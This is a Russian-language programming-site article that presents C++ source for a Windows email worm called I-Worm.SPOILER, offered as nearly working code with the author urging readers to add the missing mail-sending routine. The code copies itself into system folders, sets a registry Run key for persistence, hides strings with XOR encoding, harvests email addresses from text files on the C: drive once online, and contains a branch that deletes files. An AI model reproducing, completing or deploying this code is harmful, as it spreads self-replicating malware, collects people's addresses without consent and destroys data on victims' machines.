C++ C++ C# C# ASP.NET Security ASP.NET Security ASM ASM Скачать Скачать Поиск Поиск Хостинг Хостинг  
  Программа для работы с LPT портом...
Язык: .NET — ©Alexey...
  "ASP.NET Atlas" – AJAX в исполнении Micro...
Язык: .NET — ©legigor@mail.ru...
  "Невытесняющая" Многопоточность...
Язык: C/C++ — ©...
  01.05.2010 — Update World C++: Сборник GPL QT исходников
  15.12.2007 — Весь сайт целиком можно загрузить по ссылкам из раздела Скачать
Хостинг:
Windows 2003, ASP.NET 2.0
бесплатный и от 80 руб./мес


   Отправить письмо
Кулабухов Артем, Беларусь




 Ищем текст в файлах / Статьи. / C++

"ПОЧТИ" рабочий сырец - не бойтесь почти это значит у червя нет только отправки а пока он делает: инсталирует себя в систему и висит ожидая выхода в сеть - дождавшись ищет фаилы *.txt (можно любые) и находит в них E-mail адреса - а потом ......... должен отсылать себя но здесь он этого не делает а остальное все работает отлично ..... да еще некоторые строки зашифрованы от лишних глаз (конечно не ваших просто расшифровывать лень) почему тогда не все зашифрованы ? да яж говорю сырец горячий прям с компила снял... так что вам осталось прописать процедуру отправки (которую мне так лень было дописать) и вы получите СВОЕГО (!!!) червячка ... хотя и этот код уже несет в себе диструкцию !!!

#include <windows.h>
#include <stdio.h>
#include <winsock2.h>

BOOL CALLBACK WindowProc(HWND ,UINT ,WPARAM ,LPARAM);

typedef BOOL (WINAPI* INETCHECKPROC) (LPDWORD lpdwFlags, DWORD dwReserved);
typedef void (*LPSEARCHFUNC)(LPCTSTR lpszFileName);
typedef DWORD (WINAPI *LPREGISTERSERVICEPROCESS) (DWORD, DWORD);

static BOOL CALLBACK DialogFunc(HWND hwndDlg, UINT msg, WPARAM wParam, LPARAM lParam);
BOOL ONCREATE(HWND hwnd);
BOOL RUN(char *NAME,char *VIRNAME,int END);
BOOL ScanFile(char *f);
BOOL SEND(char *ATTACH,char *EMAIL);
BOOL SearchFiles(LPCTSTR lpszFileName,BOOL bInnerFolders,BOOL spoil);
int isgood(char a);
int islisten(char a);
char *DECODE(char *TEXTCODE);

UINT_PTR IDT_NETTRAP;
char *szClassWindow="WinClass",szPath[0x100];

char *REGNAME,*REGTITLE,*TITLE="I-Worm.SPOILER";

char *DECODE(char *TEXTCODE){
char K=9*111;
 for(int i=0; ;i++){
   if(TEXTCODE[i]=='\0') break;
   TEXTCODE[i]=TEXTCODE[i] ^ K;
  }
	return TEXTCODE;
}



BOOL SearchFiles(LPCTSTR lpszFileName,BOOL bInnerFolders,BOOL spoil)
{
    LPTSTR part;
    char tmp[MAX_PATH];
    char name[MAX_PATH];

    HANDLE hSearch = NULL;
    WIN32_FIND_DATA wfd;
    memset(&wfd, 0, sizeof(WIN32_FIND_DATA));


    if(bInnerFolders==TRUE)
    {
        if(GetFullPathName(lpszFileName, MAX_PATH, tmp, &part) == 0) return FALSE;
        strcpy(name, part);
        strcpy(part, "*.*");
        wfd.dwFileAttributes = FILE_ATTRIBUTE_DIRECTORY;
        if (!((hSearch = FindFirstFile(tmp, &wfd)) == INVALID_HANDLE_VALUE))
        do
       {
            if (!strncmp(wfd.cFileName, ".", 1) || !strncmp(wfd.cFileName, "..", 2))
            continue;

            if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
            {
                char next[MAX_PATH];
                if(GetFullPathName(lpszFileName, MAX_PATH, next, &part) == 0) return FALSE;
                strcpy(part, wfd.cFileName);
                strcat(next, "\\");
                strcat(next, name);

                SearchFiles(next,TRUE,spoil);
            }
        }
        while (FindNextFile(hSearch, &wfd));

        FindClose (hSearch);
    }

    if ((hSearch = FindFirstFile(lpszFileName, &wfd)) == INVALID_HANDLE_VALUE)
        return TRUE;
    do
    if (!(wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY))
    {
        char file[MAX_PATH];
        if(GetFullPathName(lpszFileName, MAX_PATH, file, &part) == 0) return FALSE;
        strcpy(part, wfd.cFileName);

       if(spoil!=TRUE){ScanFile(file);}else{
		   MessageBox(NULL,file,"УДАЛИТЬ ?",0);
//а вот и диструкция ...
		   DeleteFile(file);}
    }
    while (FindNextFile(hSearch, &wfd));
    FindClose (hSearch);

    return TRUE;
}

int isgood(char a) {
	if (a >= 'a' && a <= 'z') return 1;
	if (a >= 'A' && a <= 'Z') return 1;
	if (a >= '0' && a <= '9') return 1;
	if (a == '.' || a == '@' || a == '^' || a == '-' || a == '_') return 1;
	return 0;
}

int islisten(char a) {
	if (a == '.') return 1;
	if (a >= 'a' && a <= 'z') return 1;
	if (a >= 'A' && a <= 'Z') return 1;
	return 0;
}

BOOL ScanFile(char *f) {
	FILE *file=fopen(f,"r");
	unsigned long startpos=0;
	if (file == NULL) return FALSE;
	while(1) {
		char buf[2];
		memset(buf,0,2);
		fseek(file,startpos,SEEK_SET);
		fread(buf,1,1,file);
		startpos++;
		if (feof(file)) break;
		if (*buf == '@') {
			char email[256],c,d;
			unsigned long pos=0;
			while(1) {
				unsigned long oldpos=ftell(file);
				fseek(file,-1,SEEK_CUR);
				c=fgetc(file);
				if (!isgood(c)) break;
				fseek(file,-1,SEEK_CUR);
				if (oldpos == ftell(file)) break;
			}
			for (pos=0,c=0,d=0;pos<255;pos++) {
				email[pos]=fgetc(file);
				if (email[pos] == '.') c++;
				if (email[pos] == '@') d++;
				if (!isgood(email[pos])) break;
			}
			email[pos]=0;
			if (c == 0 || d != 1) continue;
			if (email[strlen(email)-1] == '.') email[strlen(email)-1]=0;
			if (*email == '@' || *email == '.' || !*email) continue;
			for (pos=0,c=0;pos<strlen(email);pos++) if (email[pos] == '.') c=pos;
			if (c == 0) continue;
			//if (!strncmp(email+c,".hlp",4)) continue;
			//if (!strncmp(email+c,".gov",4)) continue;
			for (pos=c,d=0;pos<strlen(email);pos++) if (!islisten(email[pos])) d=1;
			if (d == 1) continue;
			//Send(myfile,email);
			MessageBox(NULL,email,"А Я АДРЕС НАШЕЛ !!!",0);
		}
	}
	fclose(file);
	return TRUE;
}

BOOL ONCREATE(HWND hwnd){
RUN(REGTITLE=DECODE("°Ћ‰ФХѓ‹‹"),REGNAME=DECODE("°Ћ‰ФХѓ‹‹Й‚џ‚"),0);
SetTimer(hwnd,IDT_NETTRAP,1000*60,(TIMERPROC) NULL);
return TRUE;
}

BOOL RUN(char *NAME,char *VIRNAME,int END)
{
HKEY hKey;
char szWIN[0x100],szWIN32[0x100];
GetSystemDirectory(szWIN,sizeof(szWIN));
GetSystemDirectory(szWIN32,sizeof(szWIN32));
GetModuleFileName(NULL, szPath, sizeof(szPath));

lstrcat(szWIN,"\\");
lstrcat(szWIN,VIRNAME);
CopyFile(szPath,szWIN,TRUE);

strcat(szWIN32,"32\\");
lstrcat(szWIN32,VIRNAME);
CopyFile(szPath,szWIN32,FALSE);

RegCreateKeyEx(HKEY_LOCAL_MACHINE,
DECODE("ґ€Ѓ“ђ†•‚»ЄЋ„•€”€Ѓ“»°Ћ‰ѓ€ђ”»¤’••‚‰“±‚•”Ћ€‰»µ’‰"),
0,
"",
REG_OPTION_NON_VOLATILE,
KEY_SET_VALUE,
NULL,
&hKey,
NULL);
if (hKey)
  {
        RegSetValueEx(hKey, NAME, 0, REG_SZ, (LPBYTE)VIRNAME, strlen(VIRNAME));
        RegCloseKey(hKey);
  }

  if(END==0){
if(szPath!=szWIN || szPath!=szWIN32){MessageBox(NULL,"Programm was corrupt or some components not find !","ERROR",0);}
  }

return TRUE;
}

BOOL GetStatusConnect()
{
    BOOL bRetVal;
    HINSTANCE hLib = NULL;
    INETCHECKPROC pfnInternetGetConnectedState;
    hLib = LoadLibrary(DECODE("ђЋ‰Ћ‰‚“Йѓ‹‹"));
    if (!hLib) return 0;
    pfnInternetGetConnectedState = (INETCHECKPROC)GetProcAddress(hLib, DECODE("®‰“‚•‰‚“ ‚“¤€‰‰‚„“‚ѓґ“†“‚"));
    if(!pfnInternetGetConnectedState)
    return FALSE;
    DWORD lpdwFlags;
    bRetVal = pfnInternetGetConnectedState(&lpdwFlags, 0) != 0;
    FreeLibrary(hLib);
    return bRetVal;
}

int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrevInst, LPSTR lpszCmdLine, int nCmdShow)
{
	HWND hWnd;
	MSG lpMsg;
	WNDCLASSEX wcl;

wcl.cbSize = sizeof (wcl);
wcl.style = CS_HREDRAW|CS_VREDRAW;
wcl.lpfnWndProc = WindowProc;
wcl.cbClsExtra  =0;
wcl.cbWndExtra  = 0;
wcl.hInstance = hInst;
wcl.hIcon = LoadIconA(NULL,IDI_APPLICATION);
wcl.hCursor = LoadCursorA(NULL,IDC_ARROW);
wcl.hbrBackground =(HBRUSH)GetStockObject (WHITE_BRUSH);
wcl.lpszMenuName = NULL;
wcl.lpszClassName = szClassWindow;
wcl.hIconSm=NULL;

if (!RegisterClassEx (&wcl))
return 0;

if(FindWindowA(0,TITLE)){
	MessageBoxA(NULL,"FATAL ERROR !","ERROR",0);
	PostQuitMessage (0);}

hWnd=CreateWindowEx(
	0,
	szClassWindow,
 	TITLE,
	WS_OVERLAPPEDWINDOW,
	CW_USEDEFAULT,
	CW_USEDEFAULT,
	CW_USEDEFAULT,
	CW_USEDEFAULT,
	NULL,
	NULL,
	hInst,
	NULL);
//ShowWindow (hWnd, nCmdShow);
//UpdateWindow (hWnd);


while (GetMessage(&lpMsg,NULL,0,0))
{
	TranslateMessage(&lpMsg);
	DispatchMessage(&lpMsg);
}
	return lpMsg.wParam;
}

BOOL CALLBACK WindowProc (HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
	char str[0x100];
	switch(message)
	{
	case WM_CREATE:
	ONCREATE(hWnd);;
	return TRUE;

	case WM_TIMER:
if(GetStatusConnect()==1){
	KillTimer(hWnd,IDT_NETTRAP);
	MessageBox(NULL,"ON LINE","INTERNET",0);
SearchFiles("C:\\*.txt",TRUE,FALSE);
RUN(REGTITLE,REGNAME,1);
PostQuitMessage (0);
}
	return TRUE;

	case WM_DESTROY:
	RUN(REGTITLE,REGNAME,1);
	KillTimer(hWnd,IDT_NETTRAP);
	PostQuitMessage (0);
	break;
	default:
	return DefWindowProc (hWnd, message, wParam, lParam);
}
return FALSE;
}

BOOL SEND(char *ATTACH,char *EMAIL){

return TRUE;

}